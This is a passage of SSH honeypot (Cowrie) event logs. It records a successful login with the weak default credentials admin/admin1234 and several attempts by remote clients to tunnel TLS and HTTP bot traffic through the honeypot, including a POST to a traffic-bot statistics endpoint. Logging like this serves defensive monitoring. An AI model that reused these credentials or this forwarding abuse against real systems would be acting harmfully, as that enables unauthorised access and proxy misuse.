ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2\\xa9\\xd3\\x84\\xe0\\xa3\\x8c>\\x0b\\xfdRu\\xc1\\x0b\\x1a\\x02\\xda\\xd57\\xe9F\\xa7kJ\\x9e\\x88\\xdf]\\x11-o[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:58.986194Z","src_ip":"113.164.152.20","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:59.528738Z","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:59.806857Z","src_ip":"113.164.152.20","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xef\\xb2\\xcf\\x86\\x84\\'\\xd0\\x16\\xd4\\xa9\\x1e\\x01\\xday\\x91\\x93\\x1b\\xc0\\x16\\x84\\x17\\x17&\\x15\\xb3\\xf35\\xfd\\xb8)\\xa0\\xf6 \\xe1_\\xec\\xe6\\xc6\\x8b\\xd0k\\xa0\\xdea\\xcb\\n\\xc1\\x94I\\x95?,dq\\x1fy=\\x8a\\x97\\xa8\\xef\\x8c\\xa8\\xf5K\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x93IU\\xcf?Zo\\x93\\xed\\xca\\xdcs\\x136~D\\x10\\x9e\\t\\xd4\\xfdD\\xacE\\xe1h\\xc5QL.fn\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xef\\xb2\\xcf\\x86\\x84\\'\\xd0\\x16\\xd4\\xa9\\x1e\\x01\\xday\\x91\\x93\\x1b\\xc0\\x16\\x84\\x17\\x17&\\x15\\xb3\\xf35\\xfd\\xb8)\\xa0\\xf6 \\xe1_\\xec\\xe6\\xc6\\x8b\\xd0k\\xa0\\xdea\\xcb\\n\\xc1\\x94I\\x95?,dq\\x1fy=\\x8a\\x97\\xa8\\xef\\x8c\\xa8\\xf5K\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x93IU\\xcf?Zo\\x93\\xed\\xca\\xdcs\\x136~D\\x10\\x9e\\t\\xd4\\xfdD\\xacE\\xe1h\\xc5QL.fn\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:59.810019Z","src_ip":"113.164.152.20","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:59.949208Z","src_ip":"123.27.168.40","session":"34fc621c6a26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:00.218637Z","src_ip":"113.164.152.20","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:00.354337Z","session":"34fc621c6a26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:00.417971Z","session":"34fc621c6a26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:00.879215Z","src_ip":"123.27.168.40","session":"34fc621c6a26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_4_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.146 Mobile/16G161 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=akFDdTwkQGwqPn5fVFheIQ%3D%3DafeOC7D2YRlxMX%2FkA%2FiAx7jTLBn%2B7pRWkBA0BYN7b4krAoU80pYIrRaj19RHM%2B53qQHXf5xQ0wk%2FccUngjyuay628hAY1jN5swOo%2BEnJE4EqsbfM0l8U7PO8Mq6%2FgQoB4XAdOxZllf54CFUyF2HVtODailnruMQiH0ns%2BGKjFjcDgQ7ssrzKRjjs1oAvH69s6DRQsjtuexp2iofzPiegIRP3il3kAWQHEz90nD5AC82tQuaHcnj3%2BKZvlsnvxb7EWIAoSZHh%2FLglVztV1MTwVvcbjtc5jsWdEiM3M8EDxxjs%2Bm83F1ckO3WX753YAQxSH9iZ3it1PFVpduCPt3waIy9j8xkqsjBvQSVpdYsc3BFQm%2FyyTDwWIjTh9lRv5g5JQTNn%2BJdA9lg22QwJhaAWApthAM7ebJ4TtjW0B93yM6ubxHZSTMUM0JBsf5hBtiZvgIJaC5Ean2ViB3y7bRBHorZtjK7MT4UqxnPVnpBKHWuhDQt4MfFMMNjTq1aAyDg2EEN3lnRGu4q4ir8RsJ9UUrjrR3Bf7NVUcTHZwGQHYSxrG4uRTM0rNoWJhsrmwv7iWF7iVbQ3YT2uX608uA6gI%2FUyflJ6iYOKzgwfFSY0zUK1ms6AWk0pbDPbm%2Fd5ZzYjTcS61qPzIR8c32QgUl0qYHmHMJrNWW%2BRp4GK9%2BI8%2BA1a8N9NDVAmzKxnZ%2FK68GRZFaCk1GYEmYlLxmorSiT4Ojvi9scByN1yA9g8RhP%2FqQcueFyvUJk0CJafc8TK78fpxXyuCju1lqbHCy7WNFGhIsXTtzEvOM%2FBzwAjuGig%2Fs8pVNQq49Ei2FqE3KGsnvCk9M367oVLzVyQiCkGfEvxMSb%2BzEupW8Clfmtgx1POdnydmf%2Be5hGdM%2FbDmbEUT0f9SFsBMCbMD4we%2BnEvK%2F3qRMpoJu2gtnC1MUCtGQfEdMVUT2Lk34Dgsjzsc6carXr3F1o3MfyZZvfFCl%2BWJg%2F2MS0ACu6m%2Fziq7ax8OUf3gY4gdXIUAPkIYHx0epEvwtu%2B0DAqjSo9aC%2BujN%2FN9iGSqdeyTVr73iAeqZC5ap51rKtoYSD8E88NLu2L82c4JEQj'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_4_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.146 Mobile/16G161 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=akFDdTwkQGwqPn5fVFheIQ%3D%3DafeOC7D2YRlxMX%2FkA%2FiAx7jTLBn%2B7pRWkBA0BYN7b4krAoU80pYIrRaj19RHM%2B53qQHXf5xQ0wk%2FccUngjyuay628hAY1jN5swOo%2BEnJE4EqsbfM0l8U7PO8Mq6%2FgQoB4XAdOxZllf54CFUyF2HVtODailnruMQiH0ns%2BGKjFjcDgQ7ssrzKRjjs1oAvH69s6DRQsjtuexp2iofzPiegIRP3il3kAWQHEz90nD5AC82tQuaHcnj3%2BKZvlsnvxb7EWIAoSZHh%2FLglVztV1MTwVvcbjtc5jsWdEiM3M8EDxxjs%2Bm83F1ckO3WX753YAQxSH9iZ3it1PFVpduCPt3waIy9j8xkqsjBvQSVpdYsc3BFQm%2FyyTDwWIjTh9lRv5g5JQTNn%2BJdA9lg22QwJhaAWApthAM7ebJ4TtjW0B93yM6ubxHZSTMUM0JBsf5hBtiZvgIJaC5Ean2ViB3y7bRBHorZtjK7MT4UqxnPVnpBKHWuhDQt4MfFMMNjTq1aAyDg2EEN3lnRGu4q4ir8RsJ9UUrjrR3Bf7NVUcTHZwGQHYSxrG4uRTM0rNoWJhsrmwv7iWF7iVbQ3YT2uX608uA6gI%2FUyflJ6iYOKzgwfFSY0zUK1ms6AWk0pbDPbm%2Fd5ZzYjTcS61qPzIR8c32QgUl0qYHmHMJrNWW%2BRp4GK9%2BI8%2BA1a8N9NDVAmzKxnZ%2FK68GRZFaCk1GYEmYlLxmorSiT4Ojvi9scByN1yA9g8RhP%2FqQcueFyvUJk0CJafc8TK78fpxXyuCju1lqbHCy7WNFGhIsXTtzEvOM%2FBzwAjuGig%2Fs8pVNQq49Ei2FqE3KGsnvCk9M367oVLzVyQiCkGfEvxMSb%2BzEupW8Clfmtgx1POdnydmf%2Be5hGdM%2FbDmbEUT0f9SFsBMCbMD4we%2BnEvK%2F3qRMpoJu2gtnC1MUCtGQfEdMVUT2Lk34Dgsjzsc6carXr3F1o3MfyZZvfFCl%2BWJg%2F2MS0ACu6m%2Fziq7ax8OUf3gY4gdXIUAPkIYHx0epEvwtu%2B0DAqjSo9aC%2BujN%2FN9iGSqdeyTVr73iAeqZC5ap51rKtoYSD8E88NLu2L82c4JEQj'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:00.882496Z","src_ip":"123.27.168.40","session":"34fc621c6a26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:00.890493Z","src_ip":"123.27.168.40","session":"34fc621c6a26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03{\\xcd\\x7f\\xb6\\xf2\\x06\\xf1\\xaf\\xb1a\\xf0\\n\\x19\\xc6\\xde\\x93\\xfch\\x83\\xffr\\x1b\\x12E\\x89\\xe6\\x9a\\xae\\x91\\xc1\\xa1\\xac \\xe6\\xd8dt\\x07iQ\\xbe\\xb2.\\xa6\\x10\\xfc\\xb9\\xb8\\xfe\\xb6$\\xb4\\x8dZ \\xf7zH\\td@\\xdaZR(\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 4\\xefc\\x10[\\x04\\xdaH\\x0b+=\\x81\\xb6m8\\xd9\\xe9i\\x93\\xd9\\x10\\xbe\\xa0HR3\\xf9\\xc2\\x16~\\xdb\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03{\\xcd\\x7f\\xb6\\xf2\\x06\\xf1\\xaf\\xb1a\\xf0\\n\\x19\\xc6\\xde\\x93\\xfch\\x83\\xffr\\x1b\\x12E\\x89\\xe6\\x9a\\xae\\x91\\xc1\\xa1\\xac \\xe6\\xd8dt\\x07iQ\\xbe\\xb2.\\xa6\\x10\\xfc\\xb9\\xb8\\xfe\\xb6$\\xb4\\x8dZ \\xf7zH\\td@\\xdaZR(\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 4\\xefc\\x10[\\x04\\xdaH\\x0b+=\\x81\\xb6m8\\xd9\\xe9i\\x93\\xd9\\x10\\xbe\\xa0HR3\\xf9\\xc2\\x16~\\xdb\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:00.895171Z","src_ip":"123.27.168.40","session":"34fc621c6a26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:01.130010Z","session":"34fc621c6a26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:01.361356Z","src_ip":"123.27.168.40","session":"34fc621c6a26","protocol":"ssh"}
